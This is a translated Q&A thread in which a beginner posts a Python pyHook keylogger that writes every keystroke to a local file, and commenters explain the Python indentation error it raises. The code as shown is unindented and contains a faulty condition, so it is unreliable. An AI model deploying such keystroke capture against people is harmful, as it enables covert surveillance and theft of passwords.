【发布时间】:2016-06-24 19:46:24
【问题描述】:
我一直在篡改 Python 和键盘记录器,试图找到一个关于如何构建一个的综合教程,但一直没有找到。真正让我失望的是模块的可用性,与实际的 python 更新和 pyhooks 相比——试图找到兼容性是非常困难的。无论如何,我终于找到了一个可行的教程,我得到了“预期的块”错误。这是代码。
import win32api
import sys
import pythoncom, pyHook
buffer = ''
def OnKeyboardEvent(event):
if event.Ascii == 5:
sys.exit()
if event.Ascii != 0 or 8:
f = open ('c:\\output.txt', 'a')
keylogs = chr(event.Ascii)
if event.Ascii == 13:
keylogs = keylogs + '\n'
f.write(keylogs)
f.close()
while True:
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
我在第 5 行代码中遇到错误(如果 event.Ascii == 5:) 如果它有问题,并且它不允许我运行该模块。有什么帮助吗?谢谢。
【问题讨论】:
-
它需要一个缩进块,所以你应该从第 5 行开始缩进代码。你知道 Python 对缩进敏感吗?
-
我迷路了,但感谢您的回答
-
有人能给我指出一个有用的缩进课程的方向吗?
-
在python中,缩进你的代码是一种要求,而不是像其他语言那样仅仅是一种审美习惯。如果不缩进代码,程序将不知道您的代码块从哪里开始以及它们在哪里结束。我建议在开头使用 IDLE,因为它会自动为您缩进代码。
-
某人无法找出“预期的阻止”错误,制作了一个键盘记录器.....这里没有任何问题。
标签: python windows python-2.7 keylogger